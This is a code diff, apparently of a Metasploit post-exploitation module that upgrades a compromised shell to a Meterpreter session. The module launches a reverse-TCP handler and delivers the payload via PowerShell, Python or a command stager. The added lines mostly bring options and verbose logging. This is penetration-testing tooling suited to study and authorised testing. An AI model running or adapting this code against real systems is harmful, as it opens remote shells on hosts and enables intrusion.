@@ -31,16 +31,29 @@ def initialize(info = {})
31
31
OptAddress . new ( 'LHOST' ,
32
32
[ false , 'IP of host that will receive the connection from the payload.' ] ) ,
33
33
OptInt . new ( 'LPORT' ,
34
- [ false , 'Port for Payload to connect to.' , 4433 ] ) ,
34
+ [ false , 'Port for payload to connect to.' , 4433 ] ) ,
35
35
OptBool . new ( 'HANDLER' ,
36
- [ true , 'Start an Exploit Multi Handler to receive the connection' , true ] )
36
+ [ true , 'Start exploit/multi/handler to receive the connection. ' , true ] )
37
37
] , self . class )
38
+ register_advanced_options ( [
39
+ OptInt . new ( 'HANDLE_TIMEOUT' ,
40
+ [ false , 'How long to wait for the session to come back' , 30 ] ) ,
41
+ OptString . new ( 'WIN_TRANSFER' ,
42
+ [ false , 'Which method to try first to transfer files on a Windows target. Valid values are: POWERSHELL, VBS' , 'POWERSHELL' ] ) ,
43
+ OptString . new ( 'PAYLOAD_OVERWRITE' ,
44
+ [ false , 'Overwrite the default payload' , nil ] )
45
+ ] , self . class )
38
46
deregister_options ( 'PERSIST' , 'PSH_OLD_METHOD' , 'RUN_WOW64' )
39
47
end
40
48
41
- # Run Method for when run command is issued
49
+ # Run method for when run command is issued
42
50
def run
43
- print_status ( "Upgrading session: #{ datastore [ 'SESSION' ] } " )
51
+ print_status ( "Upgrading session ID: #{ datastore [ 'SESSION' ] } " )
52
+
53
+ if session . type =~ /meterpreter/
54
+ print_error ( "Shell type is already Meterpreter." )
55
+ return nil
56
+ end
44
57
45
58
# Try hard to find a valid LHOST value in order to
46
59
# make running 'sessions -u' as robust as possible.
@@ -52,7 +65,7 @@ def run
52
65
lhost = session . tunnel_local . split ( ':' ) [ 0 ]
53
66
end
54
67
55
- # If nothing else works....
68
+ # If nothing else works...
56
69
lhost = Rex ::Socket . source_address if lhost . blank?
57
70
58
71
lport = datastore [ 'LPORT' ]
@@ -65,27 +78,34 @@ def run
65
78
lplat = [ Msf ::Platform ::Windows ]
66
79
larch = [ ARCH_X86 ]
67
80
psh_arch = 'x86'
81
+ print_status ( "Platform: Windows" ) if datastore [ 'VERBOSE' ]
68
82
when /osx/i
69
83
platform = 'python'
70
84
payload_name = 'python/meterpreter/reverse_tcp'
85
+ print_status ( "Platform: OS X" ) if datastore [ 'VERBOSE' ]
71
86
when /solaris/i
72
87
platform = 'python'
73
88
payload_name = 'python/meterpreter/reverse_tcp'
89
+ print_status ( "Platform: Solaris" ) if datastore [ 'VERBOSE' ]
74
90
else
75
- # Find the best fit, be specific w/ uname to avoid matching hostname or something else
91
+ # Find the best fit, be specific with uname to avoid matching hostname or something else
76
92
target_info = cmd_exec ( 'uname -mo' )
77
93
if target_info =~ /linux/i && target_info =~ /86/
78
94
# Handle linux shells that were identified as 'unix'
79
95
platform = 'linux'
80
96
payload_name = 'linux/x86/meterpreter/reverse_tcp'
81
97
lplat = [ Msf ::Platform ::Linux ]
82
98
larch = [ ARCH_X86 ]
99
+ print_status ( "Platform: Linux" ) if datastore [ 'VERBOSE' ]
83
100
elsif cmd_exec ( 'python -V' ) =~ /Python (2|3)\. (\d )/
84
101
# Generic fallback for OSX, Solaris, Linux/ARM
85
102
platform = 'python'
86
103
payload_name = 'python/meterpreter/reverse_tcp'
104
+ print_status ( "Platform: Python [fallback]" ) if datastore [ 'VERBOSE' ]
87
105
end
88
106
end
107
+ payload_name = datastore [ 'PAYLOAD_OVERWRITE' ] if datastore [ 'PAYLOAD_OVERWRITE' ]
108
+ print_status ( "Upgrade payload: #{ payload_name } " ) if datastore [ 'VERBOSE' ]
89
109
90
110
if platform . blank?
91
111
print_error ( "Shells on the the target platform, #{ session . platform } , cannot be upgraded to Meterpreter at this time." )
@@ -101,28 +121,36 @@ def run
101
121
if datastore [ 'HANDLER' ]
102
122
listener_job_id = create_multihandler ( lhost , lport , payload_name )
103
123
if listener_job_id . blank?
104
- print_error ( "Failed to start multi/handler on #{ datastore [ 'LPORT' ] } , it may be in use by another process." )
124
+ print_error ( "Failed to start exploit/ multi/handler on #{ datastore [ 'LPORT' ] } , it may be in use by another process." )
105
125
return nil
106
126
end
107
127
end
108
128
109
129
case platform
110
130
when 'win'
111
- if have_powershell?
131
+ if ( have_powershell? ) && ( datastore [ 'WIN_TRANSFER' ] != 'VBS' )
132
+ print_status ( "Transfer method: Powershell" ) if datastore [ 'VERBOSE' ]
112
133
psh_opts = { :prepend_sleep => 1 , :encode_inner_payload => true , :persist => false }
113
134
cmd_exec ( cmd_psh_payload ( payload_data , psh_arch , psh_opts ) )
114
135
else
136
+ print_error ( 'Powershell is not installed on the target.' ) if datastore [ 'WIN_TRANSFER' ] == 'POWERSHELL'
137
+ print_status ( "Transfer method: VBS [fallback]" ) if datastore [ 'VERBOSE' ]
115
138
exe = Msf ::Util ::EXE . to_executable ( framework , larch , lplat , payload_data )
116
139
aborted = transmit_payload ( exe )
117
140
end
118
141
when 'python'
142
+ print_status ( "Transfer method: Python" ) if datastore [ 'VERBOSE' ]
119
143
cmd_exec ( "python -c \" #{ payload_data } \" " )
120
144
else
145
+ print_status ( "Transfer method: Bourne shell [fallback]" ) if datastore [ 'VERBOSE' ]
121
146
exe = Msf ::Util ::EXE . to_executable ( framework , larch , lplat , payload_data )
122
147
aborted = transmit_payload ( exe )
123
148
end
124
149
125
- cleanup_handler ( listener_job_id , aborted ) if datastore [ 'HANDLER' ]
150
+ if datastore [ 'HANDLER' ]
151
+ print_status ( "Cleaning up handler" ) if datastore [ 'VERBOSE' ]
152
+ cleanup_handler ( listener_job_id , aborted )
153
+ end
126
154
return nil
127
155
end
128
156
@@ -150,7 +178,7 @@ def transmit_payload(exe)
150
178
151
179
cmds = cmdstager . generate ( opts )
152
180
if cmds . nil? || cmds . length < 1
153
- print_error ( 'The command stager could not be generated' )
181
+ print_error ( 'The command stager could not be generated. ' )
154
182
raise ArgumentError
155
183
end
156
184
@@ -160,6 +188,7 @@ def transmit_payload(exe)
160
188
total_bytes = 0
161
189
cmds . each { |cmd | total_bytes += cmd . length }
162
190
191
+ print_status ( "Starting transfer..." ) if datastore [ 'VERBOSE' ]
163
192
begin
164
193
#
165
194
# Run the commands one at a time
@@ -198,17 +227,16 @@ def transmit_payload(exe)
198
227
def cleanup_handler ( listener_job_id , aborted )
199
228
# Return if the job has already finished
200
229
return nil if framework . jobs [ listener_job_id ] . nil?
201
-
202
230
framework . threads . spawn ( 'ShellToMeterpreterUpgradeCleanup' , false ) {
203
231
if !aborted
204
232
timer = 0
205
- while ! framework . jobs [ listener_job_id ] . nil? && timer < 10
206
- # Wait up to 10 seconds for the session to come in..
233
+ print_status ( "Waiting up to #{ HANDLE_TIMEOUT } seconds for the session to come back" ) if datastore [ 'VERBOSE' ]
234
+ while ! framework . jobs [ listener_job_id ] . nil? && timer < HANDLE_TIMEOUT
207
235
sleep ( 1 )
208
236
timer += 1
209
237
end
210
238
end
211
- print_status ( 'Stopping multi/handler' )
239
+ print_status ( 'Stopping exploit/ multi/handler' )
212
240
framework . jobs . stop_job ( listener_job_id )
213
241
}
214
242
end
@@ -218,7 +246,7 @@ def cleanup_handler(listener_job_id, aborted)
218
246
#
219
247
def progress ( total , sent )
220
248
done = ( sent . to_f / total . to_f ) * 100
221
- print_status ( "Command Stager progress - %3.2f%% done (%d/%d bytes)" % [ done . to_f , sent , total ] )
249
+ print_status ( "Command stager progress: %3.2f%% (%d/%d bytes)" % [ done . to_f , sent , total ] )
222
250
end
223
251
224
252
# Method for checking if a listener for a given IP and port is present
@@ -238,12 +266,12 @@ def check_for_listener(lhost, lport)
238
266
return false
239
267
end
240
268
241
- # Starts a multi/handler session
269
+ # Starts a exploit/ multi/handler session
242
270
def create_multihandler ( lhost , lport , payload_name )
243
271
pay = client . framework . payloads . create ( payload_name )
244
272
pay . datastore [ 'LHOST' ] = lhost
245
273
pay . datastore [ 'LPORT' ] = lport
246
- print_status ( 'Starting exploit multi handler' )
274
+ print_status ( 'Starting exploit/ multi/ handler' )
247
275
if !check_for_listener ( lhost , lport )
248
276
# Set options for module
249
277
mh = client . framework . exploits . create ( 'multi/handler' )
0 commit comments